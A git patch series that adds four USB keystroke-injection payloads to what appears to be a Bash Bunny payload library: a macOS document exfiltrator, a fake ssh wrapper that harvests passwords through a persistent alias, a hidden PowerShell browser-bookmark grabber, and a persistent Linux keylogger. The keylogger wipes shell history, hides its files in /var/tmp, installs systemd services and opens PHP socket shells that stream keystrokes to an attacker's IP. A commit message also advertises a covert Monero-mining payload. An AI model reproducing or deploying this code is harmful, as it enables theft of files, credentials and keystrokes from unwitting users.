From 2aa4910d0c5a0b0f9ddbf8aaa3e2adbce9ea7f12 Mon Sep 17 00:00:00 2001
From: Carey Balboa <52982329+careyjames@users.noreply.github.com>
Date: Tue, 30 Aug 2022 09:28:28 -0500
Subject: [PATCH 1/4] add my own exfil payload (#540)
* add my own exfil payload
Exfiltrates files from logged in users Documents and Desktop folders
* updated
* Update readme.md
---
.../exfiltration/Mac_Exfil/payload.txt | 45 +++++++++++++++++++
.../library/exfiltration/Mac_Exfil/readme.md | 18 ++++++++
2 files changed, 63 insertions(+)
create mode 100755 payloads/library/exfiltration/Mac_Exfil/payload.txt
create mode 100644 payloads/library/exfiltration/Mac_Exfil/readme.md
diff --git a/payloads/library/exfiltration/Mac_Exfil/payload.txt b/payloads/library/exfiltration/Mac_Exfil/payload.txt
new file mode 100755
index 00000000..d7a252cb
--- /dev/null
+++ b/payloads/library/exfiltration/Mac_Exfil/payload.txt
@@ -0,0 +1,45 @@
+#!/bin/bash
+
+# Title: Mac_Exfil
+# Description: Exfiltrates files from logged in users Documents and Desktop folders
+# Author: Carey Balboa - Mac Help Nashville, Inc. with assistance from corydon76 props to Nashville 2600
+# Target: macOS
+# Dependencies: none
+#
+# Format your MicroSD XC card for your Bash Bunny Mark II using FAT32 and name it "BUNNY" containing a folder named "loot"
+LED SETUP
+ATTACKMODE HID STORAGE VID_0x05AC PID_0x0267
+QUACK GUI SPACE
+QUACK DELAY 500
+QUACK STRING terminal
+QUACK ENTER
+QUACK DELAY 1000
+LED STAGE1
+QUACK STRING "rsync -av --max-size=5.0m --include='*.pdf' --include='*.docx' --include='*.xlsx' --exclude='*' ~/Documents/ ~/Desktop/ /Volumes/BUNNY/loot"
+QUACK ENTER
+QUACK DELAY 2000
+# Sync filesystem
+# By default, the Linux kernel writes data to disk asynchronously.
+# Writes are buffered (cached) in memory, and written to the storage device at the optimal time.
+# The sync command forces an immediate write of all cached data to disk.
+# Run sync if you anticipate the system to be unstable, or the storage device to become suddenly unavailable,
+# and you want to ensure all data is written to disk. (WE ARE ABOUT TO EJECT IT)
+sync
+QUACK DELAY 2000
+LED STAGE2
+QUACK STRING "diskutil eject BUNNY && killall Terminal"
+QUACK ENTER
+QUACK DELAY 1000
+LED STAGE3
+# LED payload complete
+LED W FAST
+mount /dev/mmcblk0p1 /mnt
+files=$(find /mnt/loot -type f | wc -l)
+# debug=$(find /mnt/loot -type f)
+# DEBUG "switch-1-debug" "$files:$debug"
+umount /mnt
+if [ "$files" != "0" ]; then
+LED FINISH
+else
+LED FAIL
+fi
diff --git a/payloads/library/exfiltration/Mac_Exfil/readme.md b/payloads/library/exfiltration/Mac_Exfil/readme.md
new file mode 100644
index 00000000..fa9f7f7d
--- /dev/null
+++ b/payloads/library/exfiltration/Mac_Exfil/readme.md
@@ -0,0 +1,18 @@
+# Mac_Exfil for the BashBunny
+
+* Author: Carey Balboa - Mac Help Nashville, Inc. with assistance from corydon76 props to Nashville 2600
+* Version: Version 1.0
+* Target: macOS
+
+## Description
+
+A payload that Exfiltrates Word, Excel & PDF files from logged in users Documents and Desktop folders
+
+
+## STATUS
+
+| LED | Status |
+| ------------------ | -------------------------------------------- |
+| Purple | Executing Payload |
+| Green | Successfully grabbed files |
+| Red | Did not get files |
From b10a644277e3d981d1ef96ec9a429b3cdf5052f1 Mon Sep 17 00:00:00 2001
From: TW-D <75358550+TW-D@users.noreply.github.com>
Date: Tue, 30 Aug 2022 10:37:50 -0400
Subject: [PATCH 2/4] Add Fake SSH (#544)
1) Copies the "ssh" command spoofing program to the user's home directory.
2) Defines a new persistent "ssh" alias with the file "~/.bash_aliases".
3) When the user executes the command "ssh" in a terminal, the spoofing program :
- __By default__ retrieves the username@address and password and writes them to "/tmp/.ssh_password".
- __But__ this behavior can be changed in line 20 of the "ssh-phishing.sh" file.
---
payloads/library/phishing/fake-ssh/README.md | 44 ++++++++++
.../library/phishing/fake-ssh/payload.txt | 86 +++++++++++++++++++
.../library/phishing/fake-ssh/ssh-phishing.sh | 48 +++++++++++
3 files changed, 178 insertions(+)
create mode 100644 payloads/library/phishing/fake-ssh/README.md
create mode 100644 payloads/library/phishing/fake-ssh/payload.txt
create mode 100644 payloads/library/phishing/fake-ssh/ssh-phishing.sh
diff --git a/payloads/library/phishing/fake-ssh/README.md b/payloads/library/phishing/fake-ssh/README.md
new file mode 100644
index 00000000..ca3bb433
--- /dev/null
+++ b/payloads/library/phishing/fake-ssh/README.md
@@ -0,0 +1,44 @@
+# Fake SSH
+
+- Title: Fake SSH
+- Author: TW-D
+- Version: 1.0
+- Target: Linux
+- Category: Phishing
+
+## Description
+
+1) Copies the "ssh" command spoofing program to the user's home directory.
+2) Defines a new persistent "ssh" alias with the file "~/.bash_aliases".
+3) When the user executes the command "ssh" in a terminal, the spoofing program :
+- __By default__ retrieves the username@address and password and writes them to "/tmp/.ssh_password".
+- __But__ this behavior can be changed in line 20 of the "ssh-phishing.sh" file.
+
+## Configuration
+
+From "payload.txt" change the values of the following constant :
+```bash
+
+######## INITIALIZATION ########
+
+readonly BB_LABEL="BashBunny"
+
+```
+
+From "ssh-phishing.sh" change the values of the following constants if necessary :
+```bash
+
+readonly MAXIMUM_ATTEMPTS=3
+
+```
+
+From "ssh-phishing.sh", change the payload if you wish :
+```bash
+##
+#
+##
+/bin/echo "${1}:${ssh_password}" >> /tmp/.ssh_password
+##
+#
+##
+```
\ No newline at end of file
diff --git a/payloads/library/phishing/fake-ssh/payload.txt b/payloads/library/phishing/fake-ssh/payload.txt
new file mode 100644
index 00000000..2b941a78
--- /dev/null
+++ b/payloads/library/phishing/fake-ssh/payload.txt
@@ -0,0 +1,86 @@
+#!/bin/bash
+#
+# Title: Fake-SSH
+#
+# Description:
+# This program creates a fake "ssh"
+# command by defining an persistent alias.
+#
+# Author: TW-D
+# Version: 1.0
+# Category: Phishing
+# Target: Linux
+# Attackmodes: HID and STORAGE
+#
+# TESTED ON
+# ===============
+# Ubuntu 20.04.4 LTS x86_64 (Xfce) and OpenSSH_8.2p1
+#
+# STATUS
+# ===============
+# Magenta solid ................................... SETUP
+# Yellow single blink ............................. ATTACK
+# Yellow double blink ............................. STAGE2
+# Yellow triple blink ............................. STAGE3
+# Yellow quadruple blink .......................... STAGE4
+# White fast blink ................................ CLEANUP
+# Green 1000ms VERYFAST blink followed by SOLID ... FINISH
+
+######## INITIALIZATION ########
+
+readonly BB_LABEL="BashBunny"
+
+######## SETUP ########
+
+LED SETUP
+
+ATTACKMODE HID STORAGE
+GET SWITCH_POSITION
+udisk mount
+
+######## ATTACK ########
+
+LED ATTACK
+
+Q DELAY 7000
+Q CTRL-ALT t
+Q DELAY 7000
+
+LED STAGE2
+
+Q STRING " cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/"
+Q ENTER
+Q DELAY 1500
+
+Q STRING " cp ./ssh-phishing.sh ~/.ssh_phishing.sh"
+Q ENTER
+Q DELAY 1500
+
+LED STAGE3
+
+Q STRING " chmod +x ~/.ssh_phishing.sh"
+Q ENTER
+Q DELAY 1500
+
+Q STRING " printf \"\\nalias ssh='~/.ssh_phishing.sh'\\n\" >> ~/.bash_aliases"
+Q ENTER
+Q DELAY 1500
+
+LED STAGE4
+
+Q STRING " exit"
+Q ENTER
+Q DELAY 1500
+
+######## CLEANUP ########
+
+LED CLEANUP
+
+sync
+udisk unmount
+
+######## FINISH ########
+
+LED FINISH
+
+shutdown -h 0
\ No newline at end of file
diff --git a/payloads/library/phishing/fake-ssh/ssh-phishing.sh b/payloads/library/phishing/fake-ssh/ssh-phishing.sh
new file mode 100644
index 00000000..0d71f168
--- /dev/null
+++ b/payloads/library/phishing/fake-ssh/ssh-phishing.sh
@@ -0,0 +1,48 @@
+#!/bin/bash
+#
+# Fake-SSH
+#
+# This program imitates the behavior
+# of the "ssh" command.
+#
+
+readonly MAXIMUM_ATTEMPTS=3
+
+attempts() {
+ /bin/echo -n "${1}'s password: "
+ read -r -s ssh_password
+ /bin/echo ""
+ /bin/echo "echo \"${ssh_password}\"" > "${SSH_ASKPASS}"
+ if ( /bin/setsid --wait /usr/bin/ssh -o ConnectTimeout=5 -o StrictHostKeyChecking="no" -o UserKnownHostsFile="/dev/null" "${1}" "exit" > /dev/null 2>&1 ); then
+ ##
+ #
+ ##
+ /bin/echo "${1}:${ssh_password}" >> /tmp/.ssh_password
+ ##
+ #
+ ##
+ /bin/setsid --wait /usr/bin/ssh -o StrictHostKeyChecking="no" -o UserKnownHostsFile="/dev/null" $2 2> /dev/null
+ /bin/rm "${SSH_ASKPASS}"
+ exit 0
+ fi
+ /bin/echo "Permission denied, please try again."
+}
+
+if [ "${#}" -eq 0 ]; then
+ /usr/bin/ssh
+else
+ for destination in "${@}"; do
+ if [[ "${destination}" =~ "@" ]]; then
+ export SSH_ASKPASS="/tmp/.askpass_script.sh"
+ /bin/echo "" > "${SSH_ASKPASS}"
+ chmod +x "${SSH_ASKPASS}"
+ for ((iterator=1; iterator <= MAXIMUM_ATTEMPTS; iterator++)); do
+ attempts "${destination}" "${*}"
+ done
+ /bin/echo "${destination}: Permission denied (publickey,password,keyboard-interactive)."
+ /bin/rm "${SSH_ASKPASS}"
+ exit 0
+ fi
+ done
+ /usr/bin/ssh "${@}"
+fi
\ No newline at end of file
From 8e322706bcb80184ff490bc14b31c77d646cca67 Mon Sep 17 00:00:00 2001
From: atomic <75549184+atomiczsec@users.noreply.github.com>
Date: Tue, 30 Aug 2022 10:56:42 -0400
Subject: [PATCH 3/4] New payload - Bookmark-Hog (#543)
---
.../library/exfiltration/Bookmark-Hog/BBB.ps1 | 47 ++++++++
.../exfiltration/Bookmark-Hog/README.md | 104 ++++++++++++++++++
.../exfiltration/Bookmark-Hog/payload.txt | 22 ++++
3 files changed, 173 insertions(+)
create mode 100644 payloads/library/exfiltration/Bookmark-Hog/BBB.ps1
create mode 100644 payloads/library/exfiltration/Bookmark-Hog/README.md
create mode 100644 payloads/library/exfiltration/Bookmark-Hog/payload.txt
diff --git a/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1
new file mode 100644
index 00000000..043e1574
--- /dev/null
+++ b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1
@@ -0,0 +1,47 @@
+#Bookmark-Hog
+
+# Get Drive Letter
+$bb = (gwmi win32_volume -f 'label=''BashBunny''').Name
+
+# Test if directory exists if not create directory in loot folder to store file
+$TARGETDIR = "$bb\loot\Bookmark-Hog\$env:computername\Chromebm.txt"
+$TARGETDIR2 = "$bb\loot\Bookmark-Hog\$env:computername\Edgebm.txt"
+
+if(!(Test-Path -Path $TARGETDIR )){
+ mkdir $TARGETDIR
+}
+
+# See if file is a thing
+Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf
+
+#If the file does not exist, write to host.
+if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf)) {
+ try {
+ Write-Host "The chrome bookmark file has not been found. "
+ }
+ catch {
+ throw $_.Exception.Message
+ }
+ }
+ # Copy Chrome Bookmarks to Bash Bunny
+ else {
+ Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -Destination "$TARGETDIR"
+ }
+
+
+# See if file is a thing
+Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2"
+
+#If the file does not exist, write to host.
+if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -PathType Leaf)) {
+ try {
+ Write-Host "The edge bookmark file has not been found. "
+ }
+ catch {
+ throw $_.Exception.Message
+ }
+}
+ # Copy Chrome Bookmarks to Bash Bunny
+ else {
+ Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2"
+}
\ No newline at end of file
diff --git a/payloads/library/exfiltration/Bookmark-Hog/README.md b/payloads/library/exfiltration/Bookmark-Hog/README.md
new file mode 100644
index 00000000..47fe90c7
--- /dev/null
+++ b/payloads/library/exfiltration/Bookmark-Hog/README.md
@@ -0,0 +1,104 @@
+
+
+
+
+
+ Table of Contents
+
+ - Description
+ - Getting Started
+ - Contributing
+ - Version History
+ - Contact
+ - Acknowledgments
+
+
+
+# Bookmark-Hog
+
+A payload to exfiltrate bookmarks of the 2 most popular browsers
+
+## Description
+
+This payload will enumerate through the browser directories, looking for the file that stores the bookmark history
+These files will be saved to the bash bunny in the loot directory
+
+## Getting Started
+
+### Dependencies
+
+* Windows 10,11
+
+(back to top)
+
+### Executing program
+
+* Plug in your device
+* Let the magic happen
+
+(back to top)
+
+## Contributing
+
+All contributors names will be listed here
+
+atomiczsec
+
+I am Jakoby
+
+(back to top)
+
+## Version History
+
+* 0.1
+ * Initial Release
+
+(back to top)
+
+
+## Contact
+
+📱 My Socials 📱
+
+
+
+
+
+
+
+ YouTube
+ |
+
+
+
+
+ Twitter
+ |
+
+
+
+
+ I-Am-Jakoby's Discord
+ |
+
+
+
+
+(back to top)
+
+
+
+
+(back to top)
+
+
+## Acknowledgments
+
+* [Hak5](https://hak5.org/)
+* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
+
+(back to top)
diff --git a/payloads/library/exfiltration/Bookmark-Hog/payload.txt b/payloads/library/exfiltration/Bookmark-Hog/payload.txt
new file mode 100644
index 00000000..392ab545
--- /dev/null
+++ b/payloads/library/exfiltration/Bookmark-Hog/payload.txt
@@ -0,0 +1,22 @@
+# Title: Bookmark-Hog
+# Description: This payload is meant to exfiltrate bookmarks to the bash bunny.
+# Author: atomiczsec
+# Version: 1.0
+# Category: Exfiltration
+# Attackmodes: HID, Storage
+# Target: Windows 10, 11
+
+LED SETUP
+
+GET SWITCH_POSITION
+
+ATTACKMODE HID STORAGE
+
+LED STAGE1
+
+QUACK DELAY 3000
+QUACK GUI r
+QUACK DELAY 100
+LED STAGE2
+QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\BBB.ps1')"
+QUACK ENTER
\ No newline at end of file
From 5738de5e9e1d5b3abfb51c8fe1138da939d9e3ab Mon Sep 17 00:00:00 2001
From: drapl0n <87269662+drapl0n@users.noreply.github.com>
Date: Fri, 2 Sep 2022 00:49:05 +0530
Subject: [PATCH 4/4] uploading BunnyLogger 2.0 (#545)
* Uploaded BunnyLogger
* uploading payload intel
* Create README.md
* Update README.md
* uploaded LinuxPreter
* uploaded FileRipper
Faster executing version
* Update README.md
* fixing typo
* uploaded sudoSnatch
* Update README.md
* deleting sudoSnatch
* uploading payload
* Delete payload.sh
* Delete shell
* Delete systemBus
* Delete camPeek directory
* Update payload.sh
* Update payload.sh
* Delete payloads/library/execution/FileRipper directory
* Update payload.sh
* Update payload.sh
* Update payload.sh
* Update payload.sh
* uploading BLE_EXFIL extension
BLE_EXFIL extension, exfiltrates data via BLE
* BLE_EXFIL demo
* uploading mine4me
mine4me payload makes your target system mine Monero for you. Spread payload in multiple systems to acquire more Monero.
* category update
* Uploading BunnyLogger 2.0
---
.../credentials/BunnyLogger2.0/README.md | 39 ++++
.../credentials/BunnyLogger2.0/bunnyLoggerMgr | 191 ++++++++++++++++++
.../credentials/BunnyLogger2.0/install.sh | 7 +
.../credentials/BunnyLogger2.0/payload.sh | 28 +++
.../credentials/BunnyLogger2.0/payload.txt | 56 +++++
.../BunnyLogger2.0/requirements/clctrl | 41 ++++
.../BunnyLogger2.0/requirements/nc | Bin 0 -> 34952 bytes
.../BunnyLogger2.0/requirements/xinput | Bin 0 -> 60768 bytes
.../credentials/BunnyLogger2.0/uninstall.sh | 4 +
9 files changed, 366 insertions(+)
create mode 100644 payloads/library/credentials/BunnyLogger2.0/README.md
create mode 100644 payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr
create mode 100644 payloads/library/credentials/BunnyLogger2.0/install.sh
create mode 100644 payloads/library/credentials/BunnyLogger2.0/payload.sh
create mode 100644 payloads/library/credentials/BunnyLogger2.0/payload.txt
create mode 100644 payloads/library/credentials/BunnyLogger2.0/requirements/clctrl
create mode 100644 payloads/library/credentials/BunnyLogger2.0/requirements/nc
create mode 100644 payloads/library/credentials/BunnyLogger2.0/requirements/xinput
create mode 100644 payloads/library/credentials/BunnyLogger2.0/uninstall.sh
diff --git a/payloads/library/credentials/BunnyLogger2.0/README.md b/payloads/library/credentials/BunnyLogger2.0/README.md
new file mode 100644
index 00000000..1bb556ca
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/README.md
@@ -0,0 +1,39 @@
+## About:
+* Title: BunnyLogger 2.0
+* Description: Key logger which sends each and every key stroke of target remotely/locally.
+* AUTHOR: drapl0n
+* Version: 1.0
+* Category: Credentials
+* Target: Unix-like operating systems with systemd.
+* Attackmodes: HID, Storage
+
+## BunnyLogger 2.0: BunnyLogger is a Key Logger which captures every key stroke of target and send them to attacker.
+
+### Features:
+* Live keystroke capturing.
+* Stored Keystroke capturing.
+* Bunny Logger Manager: Interactive TUI Dashboard.
+* Detailed key logs.
+* Persistent.
+* Autostart payload on boot.
+
+### Directory Structure of payload components:
+
+| FileName | Directory |
+| -------------- | ------------------------------ |
+| payload.txt | /payload/switch1/ |
+| payload.sh | /payload/ |
+| requirements/* | /payloads/library/bunnyLogger2 |
+
+### LED Status:
+
+* `LED SETUP` : MAGENTA
+* `LED ATTACK` : YELLOW
+* `LED FINISH` : GREEN
+
+### Usage:
+* Install BunnyLogger 2.0: `chmod +x install.sh && sudo ./install.sh`
+* Run : `bunnyLoggerMgr` to launch BunnyLogger Manager.
+
+#### Support me if you like my work:
+* https://twitter.com/drapl0n
diff --git a/payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr b/payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr
new file mode 100644
index 00000000..3a88d66e
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr
@@ -0,0 +1,191 @@
+#!/bin/bash
+allowAbort=true;
+myInterruptHandler()
+{
+ if $allowAbort; then
+ echo
+ echo -e "\n\033[1;34m[INFO]: \e[0mYou terminated bunnyLoggerMgr..." && exit 1;
+ fi;
+}
+trap myInterruptHandler SIGINT
+echo -e "\033[4m\033[1mWelcome to BunnyLogger Manager!!!\033[0m"
+echo
+echo -e "1] Fetch Keylogs.\n2] Create new target.\n3] List available target.\n4] Remove target.\n5] Update target.\n6] Decode Key Logs."
+echo
+read -p "Enter your choice: " ch
+create(){
+ read -p "Enter Target's name(without whitespaces): " name
+ if [[ $(grep -oh "\w*$name\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $name ]]; then
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mName \"$name\" already exists."
+ exit 1
+ fi
+ read -p "Enter Servers IP: " ip
+ read -p "Enter Unique Port Number(1500-65535): " port
+ read -p "Enter another Unique Port Number(1500-65535): " secPort
+ if [ "$port" == "$secPort" ]; then
+ echo -e "\033[1;34m[INFO]: \033[0mTwo ports can't be similar."
+ exit 1
+ fi
+ if [[ $(grep -oh "\w*$ip\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $ip ]] && [[ $(grep -oh "\w*$port\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $port ]] && [[ $(grep -oh "\w*$secPort\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $secPort ]]; then
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mTarget exist with similar IP address \"$ip\" and port number one \"$port\", port number two \"$secPort\"."
+ exit 1
+ fi
+ max=65535
+ min=1500
+ if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && (( $port <= $max )) && (( $port >= $min )) && (( $secPort <= $max )) && (( $secPort >= $min )); then
+ read -p "Specify directory for output: " dir
+ if [ ! -d "$dir" ]; then
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory."
+ exit 1
+ else
+ cp -r ~/.config/bunnyLogger/payload.sh $dir
+ fi
+ sed -i -e "s/0.0.0.0/$ip/g" $dir/payload.sh
+ sed -i -e "s/4444/$port/g" $dir/payload.sh
+ sed -i -e "s/5555/$secPort/g" $dir/payload.sh
+ echo -e "$(echo "$name"|xargs)\t$ip\t$port\t$secPort" >> ~/.config/bunnyLogger/bunnyLogger.db
+ else
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$ip\" or Port Number \"$port\" or Port Number \"$secPort\"."
+ exit 1
+ fi
+
+}
+list(){
+
+ column -t -o ' ' ~/.config/bunnyLogger/bunnyLogger.db | awk '{print NR" - "$0}'
+}
+remove(){
+ echo
+ list
+ echo
+ read -p "Enter name of target to remove: " rmv
+ if grep -q $rmv ~/.config/bunnyLogger/bunnyLogger.db; then
+ sed -i "/\b\($rmv\)\b/d" ~/.config/bunnyLogger/bunnyLogger.db
+ echo -e "\033[1;34m\e[1m[INFO]: \e[0m Successfully Removed \"$rmv\"."
+ else
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$rmv\" no such target found."
+ fi
+}
+update(){
+ echo
+ list
+ echo
+ read -p "Choose target number: " cho
+ read -p "You want to update (ip|portOne|portTwo): " ent
+ if [ "$ent" = ip ]
+ then
+ one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
+ read -p "Enter new ip: " use
+ if [[ $use =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+ sed -i -e "$cho s/$one/$use/g" ~/.config/bunnyLogger/bunnyLogger.db
+ echo -e "\033[1;34m\e[1m[INFO]: \e[0mSuccessfully Updated IP."
+ else
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$use\"."
+ exit
+ fi
+ elif [ "$ent" = portOne ]
+ then
+ two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}')
+ read -p "Enter new Port number: " useP
+ max=65535
+ min=1500
+ if (( $useP <= $max )) && (( $useP >= $min )); then
+ sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db
+ echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"."
+ else
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"."
+ fi
+ elif [ "$ent" = portTwo ]
+ then
+ two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}')
+ read -p "Enter new Port number: " useP
+ max=65535
+ min=1500
+ if (( $useP <= $max )) && (( $useP >= $min )); then
+ sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db
+ echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"."
+ else
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"."
+ fi
+ else
+ echo -e "\033[1;31m\e[1m[ERROR]: \e0m[Invalid choice \"$ent\"."
+ fi
+}
+fetch(){
+ echo
+ list
+ echo
+ read -p "Enter Target number to connect: " cho
+ one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
+ two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}')
+ three=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}')
+ echo -en "1] Live Capture \t2]Fetch Stored Logs: "
+ read typ
+ case $typ in
+ 1)
+ read -p "Specify directory for output: " dir
+ read -p "Enter filename to store logs: " filename
+ if [ ! -d "$dir" ]; then
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory."
+ exit 1
+ else
+ echo "\033[1;34m\e[1m[[INFO]: \e[0mStarted Keylogs Capture..."
+ nc -lvp $two > $dir/$filename.log
+ fi
+ ;;
+ 2)
+ read -p "Specify directory for output: " dir
+ read -p "Enter filename to store logs: " filename
+ if [ ! -d "$dir" ]; then
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory."
+ exit 1
+ else
+ nc -lvp 1444 > $dir/$filename.log &
+ nc -lvp $three
+ fi
+ ;;
+ *)
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice.."
+ ;;
+ esac
+}
+decode(){
+ echo -e "1] Normal Decode \t2] Informative Decode"
+ read -p "Enter your choice: " cho
+ read -p "Enter path of file to decode: " path
+ read -p "Enter path for decoded log: " out
+ case $cho in
+ 1)
+ awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path | grep press | awk '{print $4}' > $out
+ ;;
+ 2)
+ awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path > $out
+ ;;
+ *)
+ echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice \"$cho\"."
+ ;;
+ esac
+}
+case $ch in
+ 1)
+ fetch
+ ;;
+ 2)
+ create
+ ;;
+ 3)
+ list
+ ;;
+ 4)
+ update
+ ;;
+ 5)
+ remove
+ ;;
+ 6)
+ decode
+ ;;
+ *)
+ echo -e "\033[1;31m\e[1m[ERROR]: Invalid Choice \"$ch\"."
+ ;;
+esac
diff --git a/payloads/library/credentials/BunnyLogger2.0/install.sh b/payloads/library/credentials/BunnyLogger2.0/install.sh
new file mode 100644
index 00000000..fba06e5d
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/install.sh
@@ -0,0 +1,7 @@
+#!/bin/bash
+path=~/.config/bunnyLogger
+mkdir $path
+cp payload.sh $path
+touch $path/bunnyLogger.db
+chmod +x bunnyLoggerMgr
+sudo cp bunnyLoggerMgr /usr/local/bin/
diff --git a/payloads/library/credentials/BunnyLogger2.0/payload.sh b/payloads/library/credentials/BunnyLogger2.0/payload.sh
new file mode 100644
index 00000000..16ae54df
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/payload.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
+mkdir -p /var/tmp/.system/logs
+lol=$(lsblk | grep 1.8G)
+disk=$(echo $lol | awk '{print $1}')
+mntt=$(lsblk | grep $disk | awk '{print $7}')
+cp -r $mntt/tools/xinput /var/tmp/.system/
+cp -r $mntt/payloads/library/bunnyLogger2/clctrl /var/tmp/.system/
+cp -r $mntt/payloads/library/bunnyLogger2/nc /var/tmp/.system/
+chmod +x /var/tmp/.system/nc
+echo -e "name=\$(date +\"%y-%m-%d-%T\")\n/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test > /var/tmp/.system/logs/\$name.log &\n/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys
+chmod +x /var/tmp/.system/sys
+chmod +x /var/tmp/.system/clctrl
+chmod +x /var/tmp/.system/xinput
+echo -e "while :\ndo\n\tping -c 5 127.0.0.1\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone &\nwhile :\ndo\n\tping -c 5 127.0.0.1\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",5555);exec("\"/var/tmp/.system/./clctrl "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
+chmod +x /var/tmp/.system/systemBus
+mkdir -p ~/.config/systemd/user
+echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
+echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot
+chmod +x /var/tmp/.system/reboot
+echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service
+systemctl --user daemon-reload
+systemctl --user enable --now systemBUS.service
+systemctl --user start --now systemBUS.service
+systemctl --user enable --now reboot.service
+systemctl --user start --now reboot.service
+echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp
+chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
diff --git a/payloads/library/credentials/BunnyLogger2.0/payload.txt b/payloads/library/credentials/BunnyLogger2.0/payload.txt
new file mode 100644
index 00000000..f9c67969
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/payload.txt
@@ -0,0 +1,56 @@
+# Title: BunnyLogger
